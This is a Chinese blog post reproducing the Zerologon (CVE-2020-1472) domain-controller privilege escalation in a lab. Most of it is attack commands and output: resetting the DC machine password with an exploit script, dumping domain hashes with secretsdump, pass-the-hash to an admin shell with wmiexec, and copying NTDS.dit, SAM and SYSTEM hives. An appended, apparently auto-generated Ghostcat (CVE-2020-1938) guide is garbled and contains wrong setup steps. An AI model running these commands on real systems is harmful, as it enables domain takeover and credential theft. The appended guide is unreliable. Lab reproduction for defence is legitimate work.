(环境搭建+复现)CVE-2020-1472 NetLogon 域内提权漏洞

 0x00 简介

        Netlogon组件是Windows上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
        Netlogon远程协议是一个可用的在Windows域控制器上的RPC(remote procedure call protocol,远程过程调用协议,允许像调用本地服务一样调用远程服务)接口,用于对域中的用户和其他服务进行身份验证,最常见的是方便用户使用NTLM(NTLAN Manager,问询/应答身份验证协议,telnet的一种验证身份方式)登录服务器协议,让计算机更新其域内的密码。其他机器与域控的Netlogon通讯使用RPC协议MS-NRPC(指定了Netlogon远程协议,基于域的网络上的用户和计算机进行身份验证)。
        Netlogon协议不会使用与其他RPC服务相同的身份验证方案,而是使用自定义的加密协议,让客户端(加入域的计算机)和服务器(域管理员)互相证明它们都知道共享的机密(客户端计算机的哈希值密码)。

0x01 漏洞概述

        CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。

        原理:Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

0x02 影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

0x03 漏洞利用

环境搭建可参考https://blog.csdn.net/qq_40989258/article/details/114842511搭建Microsoft Exchange Server 2016,此文不表。

前提:安装好最新的Impacket环境 ,git到本地后执行

sudo pip3 install .

环境介绍:域控IP:192.168.0.129

DC_SYSTEM_VERSION :Microsoft Windows Server 2016 Datacenter
DC_NETBIOS_NAME :WIN-UNQPITL7FNS
DC_IP_ADDR :192.168.0.129
DC_DOMAIN  :EX.COM

1、使用EXP将域控所在机器账户的hash置换成空密码的hash

python3 cve-2020-1472-exploit.py DC-HOST-NAME DC-IP

 2、置空后,再次获取域内凭证信息

secretsdump.py ex.com/WIN-UNQPITL7FNS\$@192.168.0.129 -just-dc -no-pass

可以看到机器账户的密码hash已经变成了空

WIN-UNQPITL7FNS$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

 3、使用wmiexec获取到DC 管理员权限的交互Shell

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cffd529ebf8690967820375f7196178e ex.com/administrator@192.168.0.129

4、还原域控机器用户的hash

        ①在上面的攻击过程中,我们将机器的密码置为空,会导致域控脱域,原因是机器用户在AD中的密码(存储在ntds.dic)与本地注册表里面的不一致。还原域控机器账户的hash,只要将AD中的密码与注册表里面的密码保持一致即可。

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

        ②使用reg save命令将注册表里的信息拿回本地,再通过secretdump提取出里面的hash:

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

        ③使用工具将原始计算机账户哈希还原,后面的hash可以用上图红框中任意一组

python3 reinstall_original_pw.py WIN-UNQPITL7FNS 192.168.0.129 daa8c396da5b3934be0b992f25edb577
python3 reinstall_original_pw.py WIN-UNQPITL7FNS 192.168.0.129 9c76b204cdd95ae814286ef87eaecab247beb41a763a6536a16de85246ddce3f1148e734d5a27f5fed354cc310e796c4a52b45c2c0f6d0a6ef090ab9c1ae3fc63884b563316e2cdc6503420403a3b340b4e9066afe5235420bc7f19caef1f3209604590832761c1e63f2e4f066e154a12173bf8ea11fead59f33e5cc4e5d190196044d8f18fd793a39e7ac9e2cdfdf9eb22130a7e6b9db85374d8a6eb044e09cbc904dd19cb3021ba56325f7ed6391a42924f795b7f494136da99042fae58d8992c3f18cd403e7cd5a672e2ae24ce44c1067eb36f8f685a73bc3c8e931fbc67e864158ed01aa8ed94dcd11fdd6d168ab

        ④查看WIN-UNQPITL7FNS$账户的hash,已成功还原,此时想要无密码dump hash,就会报错。

0x04 修复方式 

1、下载并安装漏洞官方补丁:Security Update Guide - Microsoft Security Response Center
及时进行Microsoft Windows版本更新并且保持Windows自动更新开启。

Referer:

1、CVE-2020-1472 NetLogon特权提升漏洞 - zw1sh - 博客园

2、https://github.com/risksense/zerologon

3、https://github.com/dirkjanm/CVE-2020-1472

4、https://github.com/SecureAuthCorp/impacket/tree/impacket_0_9_24

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
复现Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 复现漏洞:使用以下命令触发漏洞复现: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞复现时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值